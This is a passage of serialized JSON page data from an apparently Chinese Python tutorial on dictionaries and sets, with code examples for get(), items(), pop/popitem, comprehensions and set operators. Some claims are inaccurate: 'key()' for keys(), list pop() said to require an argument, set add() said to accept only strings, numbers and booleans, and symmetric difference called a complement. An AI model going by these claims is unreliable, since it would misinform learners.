'value4'}\n",{"type":18,"tag":297,"props":95267,"children":95268},{"class":299,"line":662},[95269],{"type":18,"tag":297,"props":95270,"children":95271},{"emptyLinePlaceholder":793},[95272],{"type":24,"value":796},{"type":18,"tag":297,"props":95274,"children":95275},{"class":299,"line":799},[95276],{"type":18,"tag":297,"props":95277,"children":95278},{},[95279],{"type":24,"value":95280},"print(dictname.get('key3','未找到'))\n",{"type":18,"tag":297,"props":95282,"children":95283},{"class":299,"line":808},[95284],{"type":18,"tag":297,"props":95285,"children":95286},{},[95287],{"type":24,"value":95288},"print(dictname.get('key5','未找到'))\n",{"type":18,"tag":297,"props":95290,"children":95291},{"class":299,"line":817},[95292],{"type":18,"tag":297,"props":95293,"children":95294},{"emptyLinePlaceholder":793},[95295],{"type":24,"value":796},{"type":18,"tag":297,"props":95297,"children":95298},{"class":299,"line":826},[95299],{"type":18,"tag":297,"props":95300,"children":95301},{},[95302],{"type":24,"value":95303},"'''输出结果为：value3 未找到'''\n",{"type":18,"tag":337,"props":95305,"children":95307},{"id":95306},"遍历字典",[95308],{"type":24,"value":95306},{"type":18,"tag":34,"props":95310,"children":95311},{},[95312,95314,95320],{"type":24,"value":95313},"使用字典对象的",{"type":18,"tag":74,"props":95315,"children":95317},{"className":95316},[],[95318],{"type":24,"value":95319},"items()",{"type":24,"value":95321},"方法可以获取字典的“键值对”元组列表，可以通过for循环遍历该元组列表，如下示例：",{"type":18,"tag":287,"props":95323,"children":95325},{"className":28710,"code":95324,"language":28712,"meta":8,"style":8},"dictname = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}  \n  \nfor i in dictname.items():  \n    print(i)\n\n\"\"\"\n执行结果：\n('key1', 'value1')\n('key2', 'value2')\n('key3', 'value3')\n('key4', 'value4')\n\"\"\"\n",[95326],{"type":18,"tag":74,"props":95327,"children":95328},{"__ignoreMap":8},[95329,95337,95344,95352,95360,95367,95374,95382,95390,95398,95406,95414],{"type":18,"tag":297,"props":95330,"children":95331},{"class":299,"line":300},[95332],{"type":18,"tag":297,"props":95333,"children":95334},{},[95335],{"type":24,"value":95336},"dictname = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}  \n",{"type":18,"tag":297,"props":95338,"children":95339},{"class":299,"line":657},[95340],{"type":18,"tag":297,"props":95341,"children":95342},{},[95343],{"type":24,"value":36783},{"type":18,"tag":297,"props":95345,"children":95346},{"class":299,"line":662},[95347],{"type":18,"tag":297,"props":95348,"children":95349},{},[95350],{"type":24,"value":95351},"for i in dictname.items():  \n",{"type":18,"tag":297,"props":95353,"children":95354},{"class":299,"line":799},[95355],{"type":18,"tag":297,"props":95356,"children":95357},{},[95358],{"type":24,"value":95359},"    print(i)\n",{"type":18,"tag":297,"props":95361,"children":95362},{"class":299,"line":808},[95363],{"type":18,"tag":297,"props":95364,"children":95365},{"emptyLinePlaceholder":793},[95366],{"type":24,"value":796},{"type":18,"tag":297,"props":95368,"children":95369},{"class":299,"line":817},[95370],{"type":18,"tag":297,"props":95371,"children":95372},{},[95373],{"type":24,"value":64687},{"type":18,"tag":297,"props":95375,"children":95376},{"class":299,"line":826},[95377],{"type":18,"tag":297,"props":95378,"children":95379},{},[95380],{"type":24,"value":95381},"执行结果：\n",{"type":18,"tag":297,"props":95383,"children":95384},{"class":299,"line":4524},[95385],{"type":18,"tag":297,"props":95386,"children":95387},{},[95388],{"type":24,"value":95389},"('key1', 'value1')\n",{"type":18,"tag":297,"props":95391,"children":95392},{"class":299,"line":4533},[95393],{"type":18,"tag":297,"props":95394,"children":95395},{},[95396],{"type":24,"value":95397},"('key2', 'value2')\n",{"type":18,"tag":297,"props":95399,"children":95400},{"class":299,"line":4546},[95401],{"type":18,"tag":297,"props":95402,"children":95403},{},[95404],{"type":24,"value":95405},"('key3', 'value3')\n",{"type":18,"tag":297,"props":95407,"children":95408},{"class":299,"line":4555},[95409],{"type":18,"tag":297,"props":95410,"children":95411},{},[95412],{"type":24,"value":95413},"('key4', 'value4')\n",{"type":18,"tag":297,"props":95415,"children":95416},{"class":299,"line":4568},[95417],{"type":18,"tag":297,"props":95418,"children":95419},{},[95420],{"type":24,"value":64687},{"type":18,"tag":34,"props":95422,"children":95423},{},[95424],{"type":24,"value":95425},"如果想要获取具体的每个键和值，则可以按照下述方式获取：",{"type":18,"tag":287,"props":95427,"children":95429},{"className":28710,"code":95428,"language":28712,"meta":8,"style":8},"dictname = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}  \n  \nfor key,value in dictname.items():  \n    print(key,value)\n\n\"\"\"\n执行结果：\nkey1 value1\nkey2 value2\nkey3 value3\nkey4 value4\n\"\"\"\n",[95430],{"type":18,"tag":74,"props":95431,"children":95432},{"__ignoreMap":8},[95433,95440,95447,95455,95463,95470,95477,95484,95492,95500,95508,95516],{"type":18,"tag":297,"props":95434,"children":95435},{"class":299,"line":300},[95436],{"type":18,"tag":297,"props":95437,"children":95438},{},[95439],{"type":24,"value":95336},{"type":18,"tag":297,"props":95441,"children":95442},{"class":299,"line":657},[95443],{"type":18,"tag":297,"props":95444,"children":95445},{},[95446],{"type":24,"value":36783},{"type":18,"tag":297,"props":95448,"children":95449},{"class":299,"line":662},[95450],{"type":18,"tag":297,"props":95451,"children":95452},{},[95453],{"type":24,"value":95454},"for key,value in dictname.items():  \n",{"type":18,"tag":297,"props":95456,"children":95457},{"class":299,"line":799},[95458],{"type":18,"tag":297,"props":95459,"children":95460},{},[95461],{"type":24,"value":95462},"    print(key,value)\n",{"type":18,"tag":297,"props":95464,"children":95465},{"class":299,"line":808},[95466],{"type":18,"tag":297,"props":95467,"children":95468},{"emptyLinePlaceholder":793},[95469],{"type":24,"value":796},{"type":18,"tag":297,"props":95471,"children":95472},{"class":299,"line":817},[95473],{"type":18,"tag":297,"props":95474,"children":95475},{},[95476],{"type":24,"value":64687},{"type":18,"tag":297,"props":95478,"children":95479},{"class":299,"line":826},[95480],{"type":18,"tag":297,"props":95481,"children":95482},{},[95483],{"type":24,"value":95381},{"type":18,"tag":297,"props":95485,"children":95486},{"class":299,"line":4524},[95487],{"type":18,"tag":297,"props":95488,"children":95489},{},[95490],{"type":24,"value":95491},"key1 value1\n",{"type":18,"tag":297,"props":95493,"children":95494},{"class":299,"line":4533},[95495],{"type":18,"tag":297,"props":95496,"children":95497},{},[95498],{"type":24,"value":95499},"key2 value2\n",{"type":18,"tag":297,"props":95501,"children":95502},{"class":299,"line":4546},[95503],{"type":18,"tag":297,"props":95504,"children":95505},{},[95506],{"type":24,"value":95507},"key3 value3\n",{"type":18,"tag":297,"props":95509,"children":95510},{"class":299,"line":4555},[95511],{"type":18,"tag":297,"props":95512,"children":95513},{},[95514],{"type":24,"value":95515},"key4 value4\n",{"type":18,"tag":297,"props":95517,"children":95518},{"class":299,"line":4568},[95519],{"type":18,"tag":297,"props":95520,"children":95521},{},[95522],{"type":24,"value":64687},{"type":18,"tag":96,"props":95524,"children":95525},{},[95526],{"type":18,"tag":34,"props":95527,"children":95528},{},[95529,95531,95537,95538,95544,95546,95551],{"type":24,"value":95530},"Python中还提供了",{"type":18,"tag":74,"props":95532,"children":95534},{"className":95533},[],[95535],{"type":24,"value":95536},"values()",{"type":24,"value":10315},{"type":18,"tag":74,"props":95539,"children":95541},{"className":95540},[],[95542],{"type":24,"value":95543},"key()",{"type":24,"value":95545},"方法，用于返回字典的“值”和“键”，它们的使用方法与",{"type":18,"tag":74,"props":95547,"children":95549},{"className":95548},[],[95550],{"type":24,"value":95319},{"type":24,"value":95552},"方法相似，也需要通过for循环遍历该字典列表",{"type":18,"tag":337,"props":95554,"children":95556},{"id":95555},"添加修改和删除字典元素",[95557],{"type":24,"value":95558},"添加、修改和删除字典元素",{"type":18,"tag":34,"props":95560,"children":95561},{},[95562,95567,95569,95575],{"type":18,"tag":105,"props":95563,"children":95564},{},[95565],{"type":24,"value":95566},"添加或修改",{"type":24,"value":95568},"：字典中添加和修改键值对的语法相同，都是",{"type":18,"tag":74,"props":95570,"children":95572},{"className":95571},[],[95573],{"type":24,"value":95574},"字典名[键]=值",{"type":24,"value":95576},"这种形式，语法格式如下：",{"type":18,"tag":287,"props":95578,"children":95580},{"className":28710,"code":95579,"language":28712,"meta":8,"style":8},"dictname[key] = value\n",[95581],{"type":18,"tag":74,"props":95582,"children":95583},{"__ignoreMap":8},[95584],{"type":18,"tag":297,"props":95585,"children":95586},{"class":299,"line":300},[95587],{"type":18,"tag":297,"props":95588,"children":95589},{},[95590],{"type":24,"value":95579},{"type":18,"tag":96,"props":95592,"children":95593},{},[95594],{"type":18,"tag":34,"props":95595,"children":95596},{},[95597],{"type":24,"value":95598},"修改元素的原理：如果新添加的“键”与已存在的“键”重复，那么将使用新的“值”替换掉原来该“键”的值，这也相当于修改字典的元素。",{"type":18,"tag":34,"props":95600,"children":95601},{},[95602,95607,95609,95614,95616,95622,95623,95629],{"type":18,"tag":105,"props":95603,"children":95604},{},[95605],{"type":24,"value":95606},"删除字典元素",{"type":24,"value":95608},"：除了直接使用",{"type":18,"tag":74,"props":95610,"children":95612},{"className":95611},[],[95613],{"type":24,"value":95109},{"type":24,"value":95615},"关键字进行删除之外，Python还提供了",{"type":18,"tag":74,"props":95617,"children":95619},{"className":95618},[],[95620],{"type":24,"value":95621},"pop()",{"type":24,"value":10315},{"type":18,"tag":74,"props":95624,"children":95626},{"className":95625},[],[95627],{"type":24,"value":95628},"popitem()",{"type":24,"value":95630},"两种方法",{"type":18,"tag":287,"props":95632,"children":95634},{"className":28710,"code":95633,"language":28712,"meta":8,"style":8},"dic = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}\ndel dic['key3']  # del关键字删除\ndic.pop('key2',0)  # pop方法删除指定元素\ndic.popitem()     # popitem方法删除最后一个插入的键值对\n",[95635],{"type":18,"tag":74,"props":95636,"children":95637},{"__ignoreMap":8},[95638,95646,95654,95662],{"type":18,"tag":297,"props":95639,"children":95640},{"class":299,"line":300},[95641],{"type":18,"tag":297,"props":95642,"children":95643},{},[95644],{"type":24,"value":95645},"dic = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}\n",{"type":18,"tag":297,"props":95647,"children":95648},{"class":299,"line":657},[95649],{"type":18,"tag":297,"props":95650,"children":95651},{},[95652],{"type":24,"value":95653},"del dic['key3']  # del关键字删除\n",{"type":18,"tag":297,"props":95655,"children":95656},{"class":299,"line":662},[95657],{"type":18,"tag":297,"props":95658,"children":95659},{},[95660],{"type":24,"value":95661},"dic.pop('key2',0)  # pop方法删除指定元素\n",{"type":18,"tag":297,"props":95663,"children":95664},{"class":299,"line":799},[95665],{"type":18,"tag":297,"props":95666,"children":95667},{},[95668],{"type":24,"value":95669},"dic.popitem()     # popitem方法删除最后一个插入的键值对\n",{"type":18,"tag":431,"props":95671,"children":95672},{},[95673,95703],{"type":18,"tag":435,"props":95674,"children":95675},{},[95676],{"type":18,"tag":439,"props":95677,"children":95678},{},[95679,95684,95694],{"type":18,"tag":443,"props":95680,"children":95681},{"align":3465},[95682],{"type":24,"value":95683},"维度",{"type":18,"tag":443,"props":95685,"children":95686},{"align":3465},[95687,95693],{"type":18,"tag":74,"props":95688,"children":95690},{"className":95689},[],[95691],{"type":24,"value":95692},"pop(key,default)",{"type":24,"value":73171},{"type":18,"tag":443,"props":95695,"children":95696},{"align":3465},[95697,95702],{"type":18,"tag":74,"props":95698,"children":95700},{"className":95699},[],[95701],{"type":24,"value":95628},{"type":24,"value":73171},{"type":18,"tag":459,"props":95704,"children":95705},{},[95706,95723,95751,95769],{"type":18,"tag":439,"props":95707,"children":95708},{},[95709,95713,95718],{"type":18,"tag":466,"props":95710,"children":95711},{"align":3465},[95712],{"type":24,"value":30406},{"type":18,"tag":466,"props":95714,"children":95715},{"align":3465},[95716],{"type":24,"value":95717},"必须指定参数，可选默认值",{"type":18,"tag":466,"props":95719,"children":95720},{"align":3465},[95721],{"type":24,"value":95722},"无参数",{"type":18,"tag":439,"props":95724,"children":95725},{},[95726,95730,95740],{"type":18,"tag":466,"props":95727,"children":95728},{"align":3465},[95729],{"type":24,"value":92623},{"type":18,"tag":466,"props":95731,"children":95732},{"align":3465},[95733,95735],{"type":24,"value":95734},"被删除键对应的",{"type":18,"tag":74,"props":95736,"children":95738},{"className":95737},[],[95739],{"type":24,"value":94994},{"type":18,"tag":466,"props":95741,"children":95742},{"align":3465},[95743,95745],{"type":24,"value":95744},"被删除的键值对",{"type":18,"tag":74,"props":95746,"children":95748},{"className":95747},[],[95749],{"type":24,"value":95750},"(key,value)",{"type":18,"tag":439,"props":95752,"children":95753},{},[95754,95759,95764],{"type":18,"tag":466,"props":95755,"children":95756},{"align":3465},[95757],{"type":24,"value":95758},"操作对象",{"type":18,"tag":466,"props":95760,"children":95761},{"align":3465},[95762],{"type":24,"value":95763},"指定的键",{"type":18,"tag":466,"props":95765,"children":95766},{"align":3465},[95767],{"type":24,"value":95768},"最后插入的键(3.7+)\u002F随机(3.7-)",{"type":18,"tag":439,"props":95770,"children":95771},{},[95772,95776,95781],{"type":18,"tag":466,"props":95773,"children":95774},{"align":3465},[95775],{"type":24,"value":5323},{"type":18,"tag":466,"props":95777,"children":95778},{"align":3465},[95779],{"type":24,"value":95780},"已知要删除的键",{"type":18,"tag":466,"props":95782,"children":95783},{"align":3465},[95784],{"type":24,"value":95785},"按顺序逐个删除元素",{"type":18,"tag":96,"props":95787,"children":95788},{},[95789],{"type":18,"tag":34,"props":95790,"children":95791},{},[95792,95794,95799],{"type":24,"value":95793},"若对",{"type":18,"tag":74,"props":95795,"children":95797},{"className":95796},[],[95798],{"type":24,"value":95621},{"type":24,"value":95800},"方法的默认值不指定，则当字典中不存在key的键值对时将会抛出异常。",{"type":18,"tag":337,"props":95802,"children":95804},{"id":95803},"字典推导式",[95805],{"type":24,"value":95803},{"type":18,"tag":34,"props":95807,"children":95808},{},[95809],{"type":24,"value":95810},"使用字典推导式可以快速生成一个字典，它的形式与列表推导式相似。语法格式如下：",{"type":18,"tag":34,"props":95812,"children":95813},{},[95814,95816,95821,95822,95827,95829,95835],{"type":24,"value":95815},"根据",{"type":18,"tag":105,"props":95817,"children":95818},{},[95819],{"type":24,"value":95820},"键列表",{"type":24,"value":10315},{"type":18,"tag":105,"props":95823,"children":95824},{},[95825],{"type":24,"value":95826},"值列表",{"type":24,"value":95828},"结合",{"type":18,"tag":74,"props":95830,"children":95832},{"className":95831},[],[95833],{"type":24,"value":95834},"zip()",{"type":24,"value":95836},"函数快速生成字典",{"type":18,"tag":287,"props":95838,"children":95840},{"className":28710,"code":95839,"language":28712,"meta":8,"style":8},"dict_1 = {i:j for i,j in zip(key_list,value_list)}\n",[95841],{"type":18,"tag":74,"props":95842,"children":95843},{"__ignoreMap":8},[95844],{"type":18,"tag":297,"props":95845,"children":95846},{"class":299,"line":300},[95847],{"type":18,"tag":297,"props":95848,"children":95849},{},[95850],{"type":24,"value":95839},{"type":18,"tag":34,"props":95852,"children":95853},{},[95854,95859],{"type":18,"tag":105,"props":95855,"children":95856},{},[95857],{"type":24,"value":95858},"根据旧字典",{"type":24,"value":95860},"按照需求生成新字典",{"type":18,"tag":287,"props":95862,"children":95864},{"className":28710,"code":95863,"language":28712,"meta":8,"style":8},"new_dict = {i:j for i,j in old_dict.items()}\n",[95865],{"type":18,"tag":74,"props":95866,"children":95867},{"__ignoreMap":8},[95868],{"type":18,"tag":297,"props":95869,"children":95870},{"class":299,"line":300},[95871],{"type":18,"tag":297,"props":95872,"children":95873},{},[95874],{"type":24,"value":95863},{"type":18,"tag":27,"props":95876,"children":95878},{"id":95877},"集合set",[95879],{"type":24,"value":95880},"集合（set）",{"type":18,"tag":34,"props":95882,"children":95883},{},[95884,95886,95891],{"type":24,"value":95885},"集合的所有元素都放在一对大括号“{}”内，两个相邻元素间使用",{"type":18,"tag":74,"props":95887,"children":95889},{"className":95888},[],[95890],{"type":24,"value":17444},{"type":24,"value":95892},"间隔。Python集合分为两种：",{"type":18,"tag":210,"props":95894,"children":95895},{},[95896,95906],{"type":18,"tag":158,"props":95897,"children":95898},{},[95899,95901],{"type":24,"value":95900},"可变集合",{"type":18,"tag":74,"props":95902,"children":95904},{"className":95903},[],[95905],{"type":24,"value":27871},{"type":18,"tag":158,"props":95907,"children":95908},{},[95909,95911],{"type":24,"value":95910},"不可变集合",{"type":18,"tag":74,"props":95912,"children":95914},{"className":95913},[],[95915],{"type":24,"value":95916},"frozenset",{"type":18,"tag":337,"props":95918,"children":95920},{"id":95919},"创建集合",[95921],{"type":24,"value":95919},{"type":18,"tag":34,"props":95923,"children":95924},{},[95925,95927,95932],{"type":24,"value":95926},"直接使用",{"type":18,"tag":74,"props":95928,"children":95930},{"className":95929},[],[95931],{"type":24,"value":94342},{"type":24,"value":95933},"创建集合，即将集合赋值给变量，以实现集合的创建。语法格式如下：",{"type":18,"tag":287,"props":95935,"children":95937},{"className":28710,"code":95936,"language":28712,"meta":8,"style":8},"setname = {element_1,element_2,element_3,...,element_n}\n",[95938],{"type":18,"tag":74,"props":95939,"children":95940},{"__ignoreMap":8},[95941],{"type":18,"tag":297,"props":95942,"children":95943},{"class":299,"line":300},[95944],{"type":18,"tag":297,"props":95945,"children":95946},{},[95947],{"type":24,"value":95936},{"type":18,"tag":96,"props":95949,"children":95950},{},[95951],{"type":18,"tag":34,"props":95952,"children":95953},{},[95954],{"type":24,"value":95955},"在创建集合时，若输入了重复的元素，Python会自动只保留一个元素",{"type":18,"tag":34,"props":95957,"children":95958},{},[95959,95960,95966],{"type":24,"value":35582},{"type":18,"tag":74,"props":95961,"children":95963},{"className":95962},[],[95964],{"type":24,"value":95965},"set()",{"type":24,"value":95967},"函数将列表、元组等其他可迭代对象转换为集合。语法格式如下：",{"type":18,"tag":287,"props":95969,"children":95971},{"className":28710,"code":95970,"language":28712,"meta":8,"style":8},"setname = set(iteration)\n# iteration 表示可迭代对象，可以是列表、元组、range对象、字符串等\n",[95972],{"type":18,"tag":74,"props":95973,"children":95974},{"__ignoreMap":8},[95975,95983],{"type":18,"tag":297,"props":95976,"children":95977},{"class":299,"line":300},[95978],{"type":18,"tag":297,"props":95979,"children":95980},{},[95981],{"type":24,"value":95982},"setname = set(iteration)\n",{"type":18,"tag":297,"props":95984,"children":95985},{"class":299,"line":657},[95986],{"type":18,"tag":297,"props":95987,"children":95988},{},[95989],{"type":24,"value":95990},"# iteration 表示可迭代对象，可以是列表、元组、range对象、字符串等\n",{"type":18,"tag":34,"props":95992,"children":95993},{},[95994,95999,96001,96006,96008],{"type":18,"tag":105,"props":95995,"children":95996},{},[95997],{"type":24,"value":95998},"创建空集合",{"type":24,"value":96000},"：只能使用",{"type":18,"tag":74,"props":96002,"children":96004},{"className":96003},[],[96005],{"type":24,"value":95965},{"type":24,"value":96007},"函数创建空集合，如：",{"type":18,"tag":74,"props":96009,"children":96011},{"className":96010},[],[96012],{"type":24,"value":96013},"setname = set()",{"type":18,"tag":337,"props":96015,"children":96017},{"id":96016},"添加和删除元素",[96018],{"type":24,"value":96016},{"type":18,"tag":34,"props":96020,"children":96021},{},[96022,96027,96029,96035],{"type":18,"tag":105,"props":96023,"children":96024},{},[96025],{"type":24,"value":96026},"向集合中添加元素",{"type":24,"value":96028},"：使用",{"type":18,"tag":74,"props":96030,"children":96032},{"className":96031},[],[96033],{"type":24,"value":96034},"add()",{"type":24,"value":96036},"方法，语法如下：",{"type":18,"tag":287,"props":96038,"children":96040},{"className":28710,"code":96039,"language":28712,"meta":8,"style":8},"setname.add(element)\n\"\"\"此处的element只能使用字符串、数字以及布尔类型的True或者False，不能使用可迭代对象\"\"\"\n",[96041],{"type":18,"tag":74,"props":96042,"children":96043},{"__ignoreMap":8},[96044,96052],{"type":18,"tag":297,"props":96045,"children":96046},{"class":299,"line":300},[96047],{"type":18,"tag":297,"props":96048,"children":96049},{},[96050],{"type":24,"value":96051},"setname.add(element)\n",{"type":18,"tag":297,"props":96053,"children":96054},{"class":299,"line":657},[96055],{"type":18,"tag":297,"props":96056,"children":96057},{},[96058],{"type":24,"value":96059},"\"\"\"此处的element只能使用字符串、数字以及布尔类型的True或者False，不能使用可迭代对象\"\"\"\n",{"type":18,"tag":34,"props":96061,"children":96062},{},[96063,96068,96069,96074,96076,96081,96083,96089,96091,96096],{"type":18,"tag":105,"props":96064,"children":96065},{},[96066],{"type":24,"value":96067},"从集合中删除元素",{"type":24,"value":96028},{"type":18,"tag":74,"props":96070,"children":96072},{"className":96071},[],[96073],{"type":24,"value":95109},{"type":24,"value":96075},"关键字可以删除整个集合，也可以使用集合的",{"type":18,"tag":74,"props":96077,"children":96079},{"className":96078},[],[96080],{"type":24,"value":95621},{"type":24,"value":96082},"方法或者",{"type":18,"tag":74,"props":96084,"children":96086},{"className":96085},[],[96087],{"type":24,"value":96088},"remove()",{"type":24,"value":96090},"方法删除一个元素，还可以使用",{"type":18,"tag":74,"props":96092,"children":96094},{"className":96093},[],[96095],{"type":24,"value":51336},{"type":24,"value":96097},"方法清空集合。",{"type":18,"tag":287,"props":96099,"children":96101},{"className":28710,"code":96100,"language":28712,"meta":8,"style":8},"set_name = {'1','2','3','4','5','6','7'}\nset_name.pop()\nset_name.remove(element)\nset_name.clear()\ndel set_name\n",[96102],{"type":18,"tag":74,"props":96103,"children":96104},{"__ignoreMap":8},[96105,96113,96121,96129,96137],{"type":18,"tag":297,"props":96106,"children":96107},{"class":299,"line":300},[96108],{"type":18,"tag":297,"props":96109,"children":96110},{},[96111],{"type":24,"value":96112},"set_name = {'1','2','3','4','5','6','7'}\n",{"type":18,"tag":297,"props":96114,"children":96115},{"class":299,"line":657},[96116],{"type":18,"tag":297,"props":96117,"children":96118},{},[96119],{"type":24,"value":96120},"set_name.pop()\n",{"type":18,"tag":297,"props":96122,"children":96123},{"class":299,"line":662},[96124],{"type":18,"tag":297,"props":96125,"children":96126},{},[96127],{"type":24,"value":96128},"set_name.remove(element)\n",{"type":18,"tag":297,"props":96130,"children":96131},{"class":299,"line":799},[96132],{"type":18,"tag":297,"props":96133,"children":96134},{},[96135],{"type":24,"value":96136},"set_name.clear()\n",{"type":18,"tag":297,"props":96138,"children":96139},{"class":299,"line":808},[96140],{"type":18,"tag":297,"props":96141,"children":96142},{},[96143],{"type":24,"value":96144},"del set_name\n",{"type":18,"tag":96,"props":96146,"children":96147},{},[96148],{"type":18,"tag":34,"props":96149,"children":96150},{},[96151,96153,96158,96160,96165,96167,96172,96174,96179],{"type":24,"value":96152},"注意区分集合的",{"type":18,"tag":74,"props":96154,"children":96156},{"className":96155},[],[96157],{"type":24,"value":95621},{"type":24,"value":96159},"语法和列表的",{"type":18,"tag":74,"props":96161,"children":96163},{"className":96162},[],[96164],{"type":24,"value":95621},{"type":24,"value":96166},"语法的区别，列表的",{"type":18,"tag":74,"props":96168,"children":96170},{"className":96169},[],[96171],{"type":24,"value":95621},{"type":24,"value":96173},"函数必须指定参数，而集合的",{"type":18,"tag":74,"props":96175,"children":96177},{"className":96176},[],[96178],{"type":24,"value":95621},{"type":24,"value":96180},"不能指定参数。进行删除操作时注意处理异常。",{"type":18,"tag":337,"props":96182,"children":96184},{"id":96183},"集合的交差并补集",[96185],{"type":24,"value":96186},"集合的交、差、并、补集",{"type":18,"tag":431,"props":96188,"children":96189},{},[96190,96206],{"type":18,"tag":435,"props":96191,"children":96192},{},[96193],{"type":18,"tag":439,"props":96194,"children":96195},{},[96196,96201],{"type":18,"tag":443,"props":96197,"children":96198},{"align":3465},[96199],{"type":24,"value":96200},"运算",{"type":18,"tag":443,"props":96202,"children":96203},{"align":3465},[96204],{"type":24,"value":96205},"符号",{"type":18,"tag":459,"props":96207,"children":96208},{},[96209,96221,96233,96245],{"type":18,"tag":439,"props":96210,"children":96211},{},[96212,96217],{"type":18,"tag":466,"props":96213,"children":96214},{"align":3465},[96215],{"type":24,"value":96216},"交集",{"type":18,"tag":466,"props":96218,"children":96219},{"align":3465},[96220],{"type":24,"value":53596},{"type":18,"tag":439,"props":96222,"children":96223},{},[96224,96229],{"type":18,"tag":466,"props":96225,"children":96226},{"align":3465},[96227],{"type":24,"value":96228},"差集",{"type":18,"tag":466,"props":96230,"children":96231},{"align":3465},[96232],{"type":24,"value":4495},{"type":18,"tag":439,"props":96234,"children":96235},{},[96236,96241],{"type":18,"tag":466,"props":96237,"children":96238},{"align":3465},[96239],{"type":24,"value":96240},"并集",{"type":18,"tag":466,"props":96242,"children":96243},{"align":3465},[96244],{"type":24,"value":85163},{"type":18,"tag":439,"props":96246,"children":96247},{},[96248,96253],{"type":18,"tag":466,"props":96249,"children":96250},{"align":3465},[96251],{"type":24,"value":96252},"对称差集（补集）",{"type":18,"tag":466,"props":96254,"children":96255},{"align":3465},[96256],{"type":24,"value":84392},{"type":18,"tag":34,"props":96258,"children":96259},{},[96260],{"type":24,"value":96261},"通过一个实例来理解集合的运算，实例代码如下：",{"type":18,"tag":287,"props":96263,"children":96265},{"className":28710,"code":96264,"language":28712,"meta":8,"style":8},"python = {'甲','乙','丙','丁'}  \nc = {'乙','丁','卯','鸾'}  \nprint(\"选择python课程的同学:\",python)  \nprint(\"选择c语言课程的同学:\",c)  \nprint(\"即选择python又选择c语言课程的同学:\",python & c)  \nprint(\"选择了课程的同学:\",python | c)  \nprint(\"选择python但没选c语言课程的同学:\",python - c)  \nprint(\"只选了一门课程的同学:\",python ^ c)\n'''\n运行结果为：\n选择python课程的同学: {'丁', '甲', '丙', '乙'}\n选择c语言课程的同学: {'丁', '乙', '卯', '鸾'}\n即选择python又选择c语言课程的同学: {'丁', '乙'}\n选择了课程的同学: {'丙', '甲', '卯', '鸾', '丁', '乙'}\n选择python但没选c语言课程的同学: {'甲', '丙'}\n只选了一门课程的同学: {'丙', '甲', '卯', '鸾'}\n'''\n",[96266],{"type":18,"tag":74,"props":96267,"children":96268},{"__ignoreMap":8},[96269,96277,96285,96293,96301,96309,96317,96325,96333,96340,96348,96356,96364,96372,96380,96388,96396],{"type":18,"tag":297,"props":96270,"children":96271},{"class":299,"line":300},[96272],{"type":18,"tag":297,"props":96273,"children":96274},{},[96275],{"type":24,"value":96276},"python = {'甲','乙','丙','丁'}  \n",{"type":18,"tag":297,"props":96278,"children":96279},{"class":299,"line":657},[96280],{"type":18,"tag":297,"props":96281,"children":96282},{},[96283],{"type":24,"value":96284},"c = {'乙','丁','卯','鸾'}  \n",{"type":18,"tag":297,"props":96286,"children":96287},{"class":299,"line":662},[96288],{"type":18,"tag":297,"props":96289,"children":96290},{},[96291],{"type":24,"value":96292},"print(\"选择python课程的同学:\",python)  \n",{"type":18,"tag":297,"props":96294,"children":96295},{"class":299,"line":799},[96296],{"type":18,"tag":297,"props":96297,"children":96298},{},[96299],{"type":24,"value":96300},"print(\"选择c语言课程的同学:\",c)  \n",{"type":18,"tag":297,"props":96302,"children":96303},{"class":299,"line":808},[96304],{"type":18,"tag":297,"props":96305,"children":96306},{},[96307],{"type":24,"value":96308},"print(\"即选择python又选择c语言课程的同学:\",python & c)  \n",{"type":18,"tag":297,"props":96310,"children":96311},{"class":299,"line":817},[96312],{"type":18,"tag":297,"props":96313,"children":96314},{},[96315],{"type":24,"value":96316},"print(\"选择了课程的同学:\",python | c)  \n",{"type":18,"tag":297,"props":96318,"children":96319},{"class":299,"line":826},[96320],{"type":18,"tag":297,"props":96321,"children":96322},{},[96323],{"type":24,"value":96324},"print(\"选择python但没选c语言课程的同学:\",python - c)  \n",{"type":18,"tag":297,"props":96326,"children":96327},{"class":299,"line":4524},[96328],{"type":18,"tag":297,"props":96329,"children":96330},{},[96331],{"type":24,"value":96332},"print(\"只选了一门课程的同学:\",python ^ c)\n",{"type":18,"tag":297,"props":96334,"children":96335},{"class":299,"line":4533},[96336],{"type":18,"tag":297,"props":96337,"children":96338},{},[96339],{"type":24,"value":90755},{"type":18,"tag":297,"props":96341,"children":96342},{"class":299,"line":4546},[96343],{"type":18,"tag":297,"props":96344,"children":96345},{},[96346],{"type":24,"value":96347},"运行结果为：\n",{"type":18,"tag":297,"props":96349,"children":96350},{"class":299,"line":4555},[96351],{"type":18,"tag":297,"props":96352,"children":96353},{},[96354],{"type":24,"value":96355},"选择python课程的同学: {'丁', '甲', '丙', '乙'}\n",{"type":18,"tag":297,"props":96357,"children":96358},{"class":299,"line":4568},[96359],{"type":18,"tag":297,"props":96360,"children":96361},{},[96362],{"type":24,"value":96363},"选择c语言课程的同学: {'丁', '乙', '卯', '鸾'}\n",{"type":18,"tag":297,"props":96365,"children":96366},{"class":299,"line":4577},[96367],{"type":18,"tag":297,"props":96368,"children":96369},{},[96370],{"type":24,"value":96371},"即选择python又选择c语言课程的同学: {'丁', '乙'}\n",{"type":18,"tag":297,"props":96373,"children":96374},{"class":299,"line":4590},[96375],{"type":18,"tag":297,"props":96376,"children":96377},{},[96378],{"type":24,"value":96379},"选择了课程的同学: {'丙', '甲', '卯', '鸾', '丁', '乙'}\n",{"type":18,"tag":297,"props":96381,"children":96382},{"class":299,"line":4599},[96383],{"type":18,"tag":297,"props":96384,"children":96385},{},[96386],{"type":24,"value":96387},"选择python但没选c语言课程的同学: {'甲', '丙'}\n",{"type":18,"tag":297,"props":96389,"children":96390},{"class":299,"line":4607},[96391],{"type":18,"tag":297,"props":96392,"children":96393},{},[96394],{"type":24,"value":96395},"只选了一门课程的同学: {'丙', '甲', '卯', 